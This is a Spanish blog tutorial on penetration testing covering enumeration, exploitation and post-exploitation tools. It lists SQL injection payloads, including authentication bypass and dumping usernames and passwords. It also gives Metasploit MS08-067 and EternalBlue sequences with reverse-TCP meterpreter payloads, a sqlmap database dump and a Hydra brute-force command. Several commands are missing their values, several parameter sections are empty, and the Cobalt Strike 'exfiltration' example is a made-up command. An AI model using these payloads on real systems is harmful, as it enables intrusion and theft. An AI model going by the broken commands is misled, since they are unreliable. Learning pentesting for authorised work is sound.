Cómo Hacer Pentesting: Una Guía Completa de Comandos para Pruebas de Penetración

Las pruebas de penetración, comúnmente conocidas como pentesting, son una práctica crítica en ciberseguridad que implica simular ataques a una red, sistema o aplicación para identificar vulnerabilidades antes de que actores maliciosos puedan explotarlas. Esta guía proporciona una mirada en profundidad a comandos y herramientas esenciales de pentesting, ofreciendo explicaciones técnicas detalladas y ejemplos prácticos.

Enumeración

La enumeración es una fase crucial en las pruebas de penetración que implica recopilar activamente información detallada sobre un sistema, red o aplicación objetivo. El objetivo principal de la enumeración es identificar y catalogar recursos, servicios, usuarios y configuraciones que pueden ser vulnerables a la explotación.

Conceptos Clave en Enumeración

Descubrimiento de Hosts: Los enumeradores comienzan identificando hosts activos dentro de un rango de red utilizando herramientas como ping, escaneos ARP o técnicas más avanzadas como escaneos TCP ACK.

Escaneo de Puertos: Una vez que se identifican los hosts activos, se utilizan técnicas de escaneo de puertos como escaneos TCP SYN, escaneos TCP Connect o escaneos UDP para determinar qué puertos en los hosts objetivo están abiertos, cerrados o filtrados.

Identificación de Servicios: Los enumeradores sondean puertos abiertos para identificar servicios en ejecución y sus versiones. Esta información es crítica para comprender las vulnerabilidades potenciales asociadas con versiones específicas de servicios.

Enumeración de Usuarios: La enumeración de usuarios implica identificar nombres de usuario válidos en sistemas objetivo. Las técnicas van desde fuerza bruta en formularios de inicio de sesión hasta consultar servicios de directorio como LDAP o Windows Active Directory.

Enumeración de Red: La enumeración de dispositivos y configuraciones de red implica mapear la topología de red, identificar routers, switches y sus configuraciones, lo que puede revelar posibles puntos de entrada o puntos de pivote dentro de la red.

Técnicas Comunes de Enumeración

Nmap: Nmap (Network Mapper) es una herramienta versátil utilizada para descubrimiento de redes y auditoría de seguridad. Puede realizar varios tipos de escaneos, incluyendo descubrimiento de hosts, escaneo de puertos, detección de versiones de servicios y detección de sistemas operativos.

Enum4Linux: Específicamente diseñado para enumerar información de servicios Windows y SMB, Enum4Linux puede recopilar detalles sobre usuarios, grupos, recursos compartidos y políticas, aprovechando las debilidades del protocolo SMB.

NBTScan: Utilizado para escanear servicios NetBIOS, NBTScan ayuda a enumerar nombres NetBIOS activos y sus direcciones IP asociadas, revelando detalles de redes Windows y vulnerabilidades potenciales.

Herramientas de Enumeración

Nmap

Nmap (Network Mapper) es una poderosa y versátil herramienta de código abierto utilizada para descubrimiento de redes y auditoría de seguridad. Puede identificar hosts activos en una red, puertos abiertos, servicios en ejecución e incluso el sistema operativo y versión de los dispositivos objetivo.

Parámetros de Nmap

Ejemplos de Nmap

Escaneo Completo de Puertos: Realiza un escaneo TCP SYN rápido y exhaustivo en todos los puertos del objetivo 192.168.0.1, guardando los resultados en un formato Greppable.

sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -vvv 192.168.0.1 -oG ports.txt

Escaneo de Detección de Servicios: Escanea los puertos especificados (22, 80, 443) en el objetivo 192.168.0.1, detecta versiones de servicios y ejecuta scripts predeterminados para recopilar información adicional.

nmap -p22,80,443 -sV -sC -n -Pn 192.168.0.1 -oG services.txt

Enum4Linux

Enum4Linux es una herramienta para enumerar información de servicios Windows y SMB (Server Message Block). Se utiliza para recopilar detalles sobre usuarios, grupos, recursos compartidos y políticas en un entorno Windows.

Parámetros de Enum4Linux

Ejemplos de Enum4Linux

Enumeración Completa: Realiza una enumeración completa del objetivo, recopilando información sobre usuarios, grupos, recursos compartidos, máquinas y políticas.

enum4linux -a

NBTScan

NBTScan es una herramienta de línea de comandos para escanear servicios NetBIOS en una red. NetBIOS (Network Basic Input/Output System) permite que aplicaciones en diferentes ordenadores se comuniquen dentro de una red local.

Parámetros de NBTScan

Ejemplos de NBTScan

Escaneo de Objetivo Único: Escanea una sola dirección IP, proporcionando información sobre nombres NetBIOS y servicios.

nbtscan 192.168.0.1

Escaneo de Red: Escanea una subred completa, identificando todos los dispositivos con servicios NetBIOS activos.

nbtscan 192.168.0.1/24

Escaneo desde Archivo: Escanea una lista de objetivos proporcionada en un archivo, útil para enumeración a gran escala.

nbtscan -f

Searchsploit

Searchsploit es una interfaz de línea de comandos para buscar y recuperar exploits de la base de datos Exploit-DB, un repositorio de vulnerabilidades y exploits conocidos.

Parámetros de Searchsploit

Opciones de Búsqueda:

Opciones de Salida:

Automatización:

Inyección SQL

La inyección SQL es una técnica utilizada para explotar vulnerabilidades en la capa de base de datos de una aplicación inyectando código SQL malicioso. Aquí hay algunos ejemplos básicos de payload:

Bypass de Autenticación: Este payload puede omitir la autenticación de inicio de sesión explotando consultas SQL mal implementadas.

' OR '1'='1' --

Inyección SQL basada en UNION: Este payload utiliza el operador SQL UNION para combinar los resultados de dos o más sentencias select en un único resultado.

' UNION SELECT null, table_name FROM information_schema.tables --

Inyección SQL basada en Error: Este payload fuerza a la base de datos a generar un mensaje de error, que puede revelar información valiosa sobre la estructura de la base de datos.

' AND 1=CONVERT(int, (SELECT @@version)) --

Inyección SQL Ciega basada en Tiempo: Este payload utiliza funciones de base de datos para causar un retraso, que puede indicar si una condición es verdadera o falsa, útil en ataques de inyección SQL ciega.

' OR IF(1=1, SLEEP(5), 0) --

Inyección SQL Ciega basada en Booleanos: Este payload explota condiciones verdaderas o falsas para inferir información sobre la base de datos.

' AND 1=1 -- ' AND 1=2 --

Extracción de Versión de Base de Datos: Este payload recupera la versión de la base de datos.

' UNION SELECT @@version, null --

Recuperación de Nombres de Tablas: Este payload extrae los nombres de todas las tablas en la base de datos.

' UNION SELECT table_name, null FROM information_schema.tables --

Recuperación de Nombres de Columnas: Este payload extrae los nombres de columnas de una tabla específica.

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --

Volcado de Credenciales de Usuario: Este payload recupera nombres de usuario y contraseñas de una tabla llamada users.

' UNION SELECT username, password FROM users --

Comentar el Resto de la Consulta: Este payload comenta el resto de la consulta SQL, lo que puede ser útil en varios escenarios de inyección.

' OR '1'='1'/*

Ejemplos de Searchsploit

Búsqueda Básica de Vulnerabilidad: Busca exploits locales relacionados con "afd" en sistemas Windows.

searchsploit afd windows local

Búsqueda Específica de Título: Busca exploits relacionados con Oracle en Windows, centrándose en títulos.

searchsploit -t oracle windows

Búsqueda Específica de Puerto: Busca exploits dirigidos a un puerto específico (39446).

searchsploit -p 39446

Búsqueda de CVE: Busca exploits relacionados con la vulnerabilidad CVE-2021-4428.

searchsploit --cve 2021-4428

Explotación

La explotación es la fase en el ciclo de vida de las pruebas de penetración donde el tester intenta activamente explotar vulnerabilidades identificadas durante las fases de enumeración y escaneo. El objetivo de la explotación es obtener acceso no autorizado a un sistema, elevar privilegios o ejecutar código arbitrario. Este paso implica utilizar diversas técnicas y herramientas para aprovechar debilidades en software, hardware o configuraciones de red.

Conceptos Clave en Explotación

Identificación de Vulnerabilidades: El paso inicial implica identificar vulnerabilidades específicas que pueden ser explotadas. Esto puede hacerse utilizando herramientas automatizadas o técnicas manuales. Las vulnerabilidades pueden incluir software sin parches, configuraciones incorrectas, contraseñas débiles o fallas inherentes en el diseño del sistema.

Entrega de Payload: Una vez que se identifica una vulnerabilidad, el siguiente paso es entregar un payload al sistema objetivo. Un payload es un fragmento de código que realiza la acción deseada, como abrir una puerta trasera, capturar credenciales o lanzar un shell de comandos. Los métodos comunes para la entrega de payloads incluyen desbordamientos de buffer, inyecciones SQL y ataques de phishing.

Ejecución y Control: Después de entregar el payload, el siguiente paso es ejecutarlo en el sistema objetivo. La ejecución exitosa permite al tester obtener control sobre el sistema. Este control puede ser temporal o persistente, dependiendo del tipo de payload y los objetivos del tester.

Post-Explotación: Esta fase implica mantener el acceso, escalar privilegios y moverse lateralmente dentro de la red. También incluye la exfiltración de datos, donde se extrae información sensible del sistema comprometido.

Técnicas Comunes de Explotación

Desbordamiento de Buffer: Esta técnica implica desbordar un buffer (un área de almacenamiento temporal de datos) con más datos de los que puede manejar, lo que puede sobrescribir la memoria adyacente y permitir la ejecución de código arbitrario. Los desbordamientos de buffer pueden ocurrir tanto en la memoria de pila como de montón.

Inyección SQL: Esta técnica implica inyectar código SQL malicioso en los campos de entrada de una aplicación, explotando vulnerabilidades en la capa de base de datos de la aplicación. Puede usarse para bypasear autenticación, recuperar o modificar contenido de la base de datos.

Cross-Site Scripting (XSS): Los ataques XSS implican inyectar scripts maliciosos en páginas web visualizadas por otros usuarios. Estos scripts pueden robar cookies de sesión, redirigir usuarios a sitios maliciosos o realizar acciones en nombre del usuario.

Phishing: Los ataques de phishing engañan a los usuarios para que proporcionen información sensible, como credenciales de inicio de sesión o información financiera, haciéndose pasar por entidades legítimas. Estos ataques a menudo se realizan a través de correo electrónico o sitios web fraudulentos.

Herramientas de Explotación

Metasploit Framework

Metasploit es un framework de explotación ampliamente utilizado que proporciona un conjunto completo de herramientas para desarrollar, probar y ejecutar exploits. Incluye una vasta base de datos de vulnerabilidades conocidas y exploits preconstruidos.

Ejemplos de Metasploit

Lanzamiento de un exploit simple: Utiliza Metasploit para explotar la vulnerabilidad MS08-067 en Windows SMB, configurando un payload TCP reverso para obtener una sesión meterpreter en el objetivo.

msfconsole use exploit/windows/smb/ms08_067_netapi set RHOST set PAYLOAD windows/meterpreter/reverse_tcp set LHOST run

Explotación de una Vulnerabilidad de Windows SMB: Utiliza el exploit EternalBlue (ms17_010_eternalblue) para atacar una máquina Windows a través de SMB, estableciendo una sesión Meterpreter.

msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST run

SQLmap

SQLmap es una herramienta automatizada para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Puede extraer información de la base de datos, ejecutar comandos SQL e incluso proporcionar un shell de comandos.

Ejemplos de SQLmap

Explotación de una vulnerabilidad de inyección SQL: Utiliza SQLmap para explotar automáticamente una vulnerabilidad de inyección SQL en una aplicación web, recuperando y volcando el contenido de la base de datos.

sqlmap -u "http://example.com/index.php?id=1" --batch --dump

BeEF

BeEF (Browser Exploitation Framework): BeEF se centra en explotar vulnerabilidades en navegadores web. Permite a los testers controlar navegadores comprometidos y realizar diversas acciones, como robar credenciales o capturar pulsaciones de teclas.

Hydra

Hydra es una herramienta de crackeo de contraseñas que soporta numerosos protocolos, incluyendo FTP, HTTP, SMB y más. Realiza ataques de fuerza bruta para adivinar credenciales de inicio de sesión.

Ejemplos de Hydra

Fuerza bruta contra servicio FTP: Intenta forzar por fuerza bruta las credenciales de inicio de sesión FTP utilizando una lista de contraseñas de passwords.txt.

hydra -l -P ftp://

Post Explotación

La post explotación es crucial para que los testers de penetración demuestren completamente el impacto de las vulnerabilidades descubiertas durante las pruebas. Simula comportamientos de atacantes del mundo real y ayuda a las organizaciones a comprender su exposición a amenazas cibernéticas sofisticadas. Al realizar actividades exhaustivas de post-explotación, los testers proporcionan información accionable para mejorar las defensas de seguridad y mitigar riesgos de manera efectiva.

Conceptos Clave en Post Explotación

Mantener Acceso: Asegurar acceso persistente al sistema o red comprometida.

Puertas Traseras: Instalar puertas traseras persistentes para mantener el acceso.

Tunneling: Configurar túneles para comunicarse de forma segura con el sistema comprometido.

Escalada de Privilegios: Intentar elevar privilegios en el sistema comprometido para obtener acceso de nivel superior, potencialmente alcanzando privilegios administrativos o de root.

Exfiltración de Datos: Extraer datos sensibles como contraseñas, credenciales, información financiera o propiedad intelectual de sistemas comprometidos.

Transferencia de Archivos: Usar herramientas como scp o ftp para transferir datos fuera de la red.

Esteganografía: Ocultar datos dentro de imágenes u otros formatos de archivo para evadir la detección.

Movimiento Lateral: Moverse lateralmente a través de la red para acceder a otros sistemas o dispositivos, explorando objetivos adicionales para explotación.

Pass-the-Hash: Usar credenciales hasheadas robadas para autenticarse en otros sistemas.

Pivoting: Usar el sistema comprometido para lanzar ataques a otros sistemas dentro de la red.

Cubrir Rastros: Borrar evidencia del ataque.

Manipulación de Logs: Alterar o eliminar logs para ocultar evidencia del ataque.

Rootkits: Instalar rootkits para mantener control sigiloso sobre el sistema.

Herramientas de Post Explotación

PowerShell Empire

Un framework de post-explotación que utiliza PowerShell para entornos Windows. Incluye módulos para mantener acceso, ejecutar comandos y exfiltrar datos.

Ejemplos de PowerShell Empire

Escalada de Privilegios con PowerShell Empire: Comprueba vulnerabilidades comunes de escalada de privilegios en un sistema comprometido, con el objetivo de elevar privilegios y obtener mayor control.

empire usemodule credentials/powerup/allchecks execute

Cobalt Strike

Una herramienta comercial de pruebas de penetración que integra capacidades de post-explotación con infraestructura de comando y control. Facilita la emulación avanzada de amenazas y operaciones de equipo rojo.

Ejemplos con Cobalt Strike

Exfiltración de Datos con Cobalt Strike: Permite la exfiltración de datos estableciendo un canal encubierto de comando y control para transmitir información sensible desde la red comprometida.

./teamserver ./cobaltstrike exploit

Conclusión

Las pruebas de penetración son un componente crítico de la ciberseguridad, ayudando a identificar y mitigar vulnerabilidades antes de que puedan ser explotadas por actores maliciosos. Herramientas como Nmap, Enum4Linux, NBTScan, Searchsploit y Hydra proporcionan capacidades invaluables para enumeración y explotación, mientras que comprender las técnicas de post-explotación asegura un enfoque integral para asegurar sistemas y redes.

Al dominar estas herramientas y técnicas, los profesionales de ciberseguridad pueden mejorar su capacidad para proteger contra amenazas potenciales y mejorar la postura de seguridad general de sus organizaciones.

Gracias por leer ^^

Widget is loading comments...
Now Playing
Album Art

Current Song

0:00
0:00